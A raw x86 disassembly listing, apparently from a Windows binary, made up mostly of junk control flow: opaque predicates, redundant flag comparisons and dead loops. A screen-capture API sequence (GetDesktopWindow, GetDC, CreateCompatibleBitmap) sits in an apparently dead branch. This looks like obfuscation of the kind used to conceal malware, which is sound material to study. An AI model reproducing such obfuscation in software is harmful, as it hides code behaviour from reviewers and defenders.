cmp eax, dword [ebp + ecx - 0x20a4]
je 0x450717
mov dword [ebp - 0x13c0], 1
jmp 0x45071e
and dword [ebp - 0x13c0], 0
mov eax, dword [ebp - 0x13c0]
neg eax
mov dword [ebp - 0xa94], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xa94]
mov dword [ebp + eax - 0x20a4], ecx
cmp dword [ebp - 0xa94], 0
je 0x45076f
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x20a4], 0
je 0x45076f
mov eax, 0x3337672a
test eax, eax
je 0x45076f
xor eax, eax
je 0x45076f
mov dword [ebp - 0x1830], 1
jmp 0x450776
and dword [ebp - 0x1830], 0
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x1f88], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x1f90], eax
mov dword [ebp - 0x7c], 0xe588
cmp dword [ebp - 0x7c], 0
je 0x4507aa
cmp dword [ebp - 0x78c], 0
je 0x4507aa
mov dword [ebp - 0x13c8], 1
jmp 0x4507b1
and dword [ebp - 0x13c8], 0
mov eax, dword [ebp - 0x13c8]
mov dword [ebp - 0xa9c], eax
cmp dword [ebp - 0xa9c], 0
jne 0x4507d8
cmp dword [ebp - 0x78c], 0
jne 0x4507d8
and dword [ebp - 0x13d0], 0
jmp 0x4507e2
mov dword [ebp - 0x13d0], 1
cmp dword [ebp - 0x13d0], 0
ja 0x4507f7
mov dword [ebp - 0xaa4], 1
jmp 0x4507fe
and dword [ebp - 0xaa4], 0
mov eax, dword [ebp - 0x78c]
imul eax, dword [ebp - 0xaa4]
test eax, eax
je 0x450821
cmp dword [ebp - 0x7c], 0
je 0x450821
mov dword [ebp - 0x13d8], 1
jmp 0x450828
and dword [ebp - 0x13d8], 0
mov eax, dword [ebp - 0x13d8]
mov dword [ebp - 0xaac], eax
cmp dword [ebp - 0xaac], 0
je 0x450842
jmp 0x4504bd
jmp 0x4504bd
mov dword [ebp - 0x38], 0
jmp 0x450857
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 1
jge 0x45086d
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x368], 0xfffffff9
jmp 0x450850
mov dword [ebp - 0x248], 0xffffffff
mov dword [ebp - 0x484], 0x92e3f915
mov dword [ebp - 0x1f98], 0x1826
mov dword [ebp - 0x1578], 0xfeee83ad
mov dword [ebp - 0xad0], 1
mov dword [ebp - 0x248], 0xfffffffa
jmp 0x4508b8
mov eax, dword [ebp - 0x248]
dec eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0xfffffff6
jne 0x450aad
mov dword [ebp - 0x14f8], 0x69f4288a
mov dword [ebp - 0x14f4], 0x69f4288a
mov dword [ebp - 0x14f0], 0x69f4288a
mov dword [ebp - 0x14ec], 0x69f4288a
mov dword [ebp - 0xc8], 0xa1836ccb
mov dword [ebp - 0xc8], 0
jmp 0x450910
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 3
jg 0x450a78
mov dword [ebp - 0x13f0], 0xfffffffe
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ebp + ecx*4 - 0x14f8]
cmp dword [ebp + eax*4 - 0x14f8], ecx
jne 0x45094f
mov dword [ebp - 0xab4], 1
jmp 0x450956
and dword [ebp - 0xab4], 0
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp + eax*4 - 0x14f8]
mov dword [ebp - 0x1fa0], eax
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0x248]
cmp dword [ebp + eax*4 - 0x14f8], ecx
jge 0x45098a
mov dword [ebp - 0x13e0], 1
jmp 0x450991
and dword [ebp - 0x13e0], 0
mov eax, dword [ebp - 0x248]
cmp dword [ebp - 0x13e0], eax
jne 0x4509ab
mov dword [ebp - 0x13e8], 1
jmp 0x4509b2
and dword [ebp - 0x13e8], 0
mov eax, dword [ebp - 0xab4]
cmp eax, dword [ebp - 0x13e8]
jle 0x4509cc
mov dword [ebp - 0xabc], 1
jmp 0x4509d3
and dword [ebp - 0xabc], 0
mov eax, dword [ebp - 0xabc]
mov dword [ebp - 0x13f0], eax
cmp dword [ebp - 0x13f0], 0
ja 0x4509f4
mov dword [ebp - 0xac4], 1
jmp 0x4509fb
and dword [ebp - 0xac4], 0
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp + eax*4 - 0x14f8]
neg eax
cmp eax, dword [ebp - 0xac4]
jle 0x450a1e
mov dword [ebp - 0x1604], 1
jmp 0x450a25
and dword [ebp - 0x1604], 0
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp + eax*4 - 0x14f8]
mov dword [ebp - 0x1fa8], eax
mov eax, 0xcaa8e55a
cmp eax, 0x198d72a6
ja 0x450a5d
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x14f8], 0
jne 0x450a5d
and dword [ebp - 0x13f8], 0
jmp 0x450a67
mov dword [ebp - 0x13f8], 1
mov eax, dword [ebp - 0x13f8]
mov dword [ebp - 0x484], eax
jmp 0x450903
mov byte [ebp - 0x223], 0
movzx eax, byte [ebp - 0x223]
test eax, eax
je 0x450aa8
push 0x12ee
push 0xb03
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
jmp 0x4508ab
mov eax, dword [ebp - 0x248]
mov dword [ebp - 0x1fb0], eax
mov eax, dword [ebp - 0x1578]
add eax, dword [ebp - 0x484]
cmp eax, 0xffffffff
jge 0x450ad6
mov dword [ebp - 0x1400], 1
jmp 0x450add
and dword [ebp - 0x1400], 0
mov eax, dword [ebp - 0x1400]
mov dword [ebp - 0xad0], eax
mov eax, 0x15ee
sub eax, dword [ebp - 0xad0]
cmp dword [ebp - 0x484], eax
jge 0x450b08
mov dword [ebp - 0xfe8], 1
jmp 0x450b0f
and dword [ebp - 0xfe8], 0
cmp dword [ebp - 0xfe8], 0
jb 0x450b24
mov dword [ebp - 0xad8], 1
jmp 0x450b2b
and dword [ebp - 0xad8], 0
mov eax, dword [ebp - 0xad8]
mov dword [ebp - 0x484], eax
mov dword [ebp - 0x38], 0
jmp 0x450b47
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 4
jge 0x450b5d
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x824], 0x7632667a
jmp 0x450b40
mov dword [ebp - 0x64], 0x3ae35568
mov dword [ebp - 0x1d4], 0xffffffff
mov dword [ebp - 0x360], 1
mov dword [ebp - 0x3d4], 1
mov dword [ebp - 0x48c], 0x2138
mov dword [ebp - 0xd8], 1
mov dword [ebp - 0x1580], 0x92f9
mov dword [ebp - 0x1038], 0x6c5b50a7
mov dword [ebp - 0x64], 0
jmp 0x450bba
mov eax, dword [ebp - 0x64]
dec eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0xfffffffe
jg 0x45119c
mov dword [ebp - 0x69c], 0x659d568d
mov dword [ebp - 0x32c], 0xffffffff
mov dword [ebp - 0x1740], 0xe60a2fc5
mov dword [ebp - 0x608], 0
jmp 0x450bfb
mov eax, dword [ebp - 0x608]
inc eax
mov dword [ebp - 0x608], eax
cmp dword [ebp - 0x608], 1
jge 0x450c17
mov eax, dword [ebp - 0x608]
mov dword [ebp + eax*4 - 0x1e4], 0xffff
jmp 0x450bee
cmp dword [ebp - 0x32c], 0
je 0x450d63
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x1fb8], eax
cmp dword [ebp - 0x32c], 0xab79
jle 0x450c45
mov dword [ebp - 0x129c], 1
jmp 0x450c4c
and dword [ebp - 0x129c], 0
cmp dword [ebp - 0x129c], 0xcbae
jne 0x450c64
mov dword [ebp - 0xae0], 1
jmp 0x450c6b
and dword [ebp - 0xae0], 0
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0xae0], eax
jge 0x450c82
mov dword [ebp - 0xff0], 1
jmp 0x450c89
and dword [ebp - 0xff0], 0
mov eax, dword [ebp - 0xff0]
mov dword [ebp - 0x1d4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x64]
cmp dword [ebp + eax - 0x1e4], ecx
jg 0x450cb3
mov dword [ebp - 0xae8], 1
jmp 0x450cba
and dword [ebp - 0xae8], 0
mov eax, dword [ebp - 0x360]
add eax, dword [ebp - 0xae8]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x1e4]
jne 0x450ce1
mov dword [ebp - 0x1278], 1
jmp 0x450ce8
and dword [ebp - 0x1278], 0
cmp dword [ebp - 0x1278], 0xfffffffb
jbe 0x450cfd
mov dword [ebp - 0xaf0], 1
jmp 0x450d04
and dword [ebp - 0xaf0], 0
mov eax, dword [ebp - 0xaf0]
sub eax, dword [ebp - 0x360]
sub eax, 0x67f6a191
cmp eax, dword [ebp - 0x64]
jle 0x450d26
mov dword [ebp - 0xff8], 1
jmp 0x450d2d
and dword [ebp - 0xff8], 0
mov eax, dword [ebp - 0x32c]
cmp dword [ebp - 0xff8], eax
jl 0x450d47
mov dword [ebp - 0xaf8], 1
jmp 0x450d4e
and dword [ebp - 0xaf8], 0
mov eax, dword [ebp - 0xaf8]
mov dword [ebp - 0x3d4], eax
cmp dword [ebp - 0x360], 0
je 0x450d78
cmp dword [ebp - 0x48c], 0
je 0x450d78
mov dword [ebp - 0x1444], 1
jmp 0x450d7f
and dword [ebp - 0x1444], 0
mov eax, dword [ebp - 0x1444]
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0xfffffff9
jb 0x450dac
mov dword [ebp - 0xb00], 1
jmp 0x450db3
and dword [ebp - 0xb00], 0
mov eax, dword [ebp - 0x64]
cmp eax, dword [ebp - 0xb00]
jg 0x450dca
mov dword [ebp - 0x1000], 1
jmp 0x450dd1
and dword [ebp - 0x1000], 0
imul eax, dword [ebp - 0x1000], 0
cmp eax, dword [ebp - 0x360]
jge 0x450dec
mov dword [ebp - 0xb08], 1
jmp 0x450df3
and dword [ebp - 0xb08], 0
mov eax, dword [ebp - 0x360]
cmp dword [ebp - 0xb08], eax
jne 0x450e0d
mov dword [ebp - 0x1280], 1
jmp 0x450e14
and dword [ebp - 0x1280], 0
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x69c], eax
mov eax, dword [ebp - 0x69c]
add eax, dword [ebp - 0x1280]
mov dword [ebp - 0x1740], eax
mov dword [ebp - 0x1d4], 0
jmp 0x450e48
cmp dword [ebp - 0x1d4], 0xffffffeb
je 0x451197
mov dword [ebp - 0x98], 0xcc414254
cmp dword [ebp - 0x98], 0
jne 0x450e7a
cmp dword [ebp - 0x98], 0
jne 0x450e7a
and dword [ebp - 0x1008], 0
jmp 0x450e84
mov dword [ebp - 0x1008], 1
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1e4], 2
jbe 0x450ea0
mov dword [ebp - 0xb10], 1
jmp 0x450ea7
and dword [ebp - 0xb10], 0
mov eax, dword [ebp - 0x98]
sub eax, dword [ebp - 0xb10]
je 0x450ec5
xor eax, eax
je 0x450ec5
and dword [ebp - 0xb18], 0
mov eax, dword [ebp - 0x1008]
cmp eax, dword [ebp - 0xb18]
jle 0x450ee6
jmp 0x450bb3
cmp dword [ebp - 0xd8], 0
jne 0x4511b7
cmp dword [ebp - 0x1d4], 0
jne 0x4511b7
and dword [ebp - 0x13bc], 0
jmp 0x4511c1
mov dword [ebp - 0x13bc], 1
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x13bc], eax
jne 0x4511d8
mov dword [ebp - 0xb60], 1
jmp 0x4511df
and dword [ebp - 0xb60], 0
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0xb60], eax
jle 0x4511f6
mov dword [ebp - 0x1030], 1
jmp 0x4511fd
and dword [ebp - 0x1030], 0
mov eax, dword [ebp - 0x1038]
cmp dword [ebp - 0x1030], eax
jne 0x451217
mov dword [ebp - 0xb68], 1
jmp 0x45121e
and dword [ebp - 0xb68], 0
mov eax, dword [ebp - 0xd8]
imul eax, dword [ebp - 0xb68]
cmp eax, dword [ebp - 0x48c]
jl 0x45123f
mov dword [ebp - 0x1298], 1
jmp 0x451246
and dword [ebp - 0x1298], 0
mov eax, dword [ebp - 0x48c]
cmp dword [ebp - 0x1298], eax
jge 0x451260
mov dword [ebp - 0xb70], 1
jmp 0x451267
and dword [ebp - 0xb70], 0
mov eax, dword [ebp - 0xd8]
cmp dword [ebp - 0xb70], eax
jne 0x451281
mov dword [ebp - 0xb78], 1
jmp 0x451288
and dword [ebp - 0xb78], 0
mov eax, dword [ebp - 0x1038]
add eax, dword [ebp - 0xb78]
mov dword [ebp - 0x64], eax
push 3
pop eax
sub eax, dword [ebp - 0x1d4]
add eax, dword [ebp - 0x64]
cmp eax, dword [ebp - 0xd8]
je 0x4512b7
mov dword [ebp - 0x144c], 1
jmp 0x4512be
and dword [ebp - 0x144c], 0
mov eax, dword [ebp - 0x144c]
mov dword [ebp - 0x3d4], eax
mov dword [ebp - 0x38], 0
jmp 0x4512da
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 2
jge 0x4512f0
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x1958], 0xaba8d6e8
jmp 0x4512d3
mov dword [ebp - 0x250], 0xfffffff7
mov dword [ebp - 0x73c], 0xffffffff
mov dword [ebp - 0x76c], 0xffffffff
mov dword [ebp - 0x610], 0
jmp 0x451327
mov eax, dword [ebp - 0x610]
inc eax
mov dword [ebp - 0x610], eax
cmp dword [ebp - 0x610], 4
jge 0x451343
mov eax, dword [ebp - 0x610]
mov dword [ebp + eax*4 - 0x21b4], 0xdfc1
jmp 0x45131a
mov dword [ebp - 0x250], 0
jmp 0x45135c
cmp dword [ebp - 0x250], 9
jg 0x45153a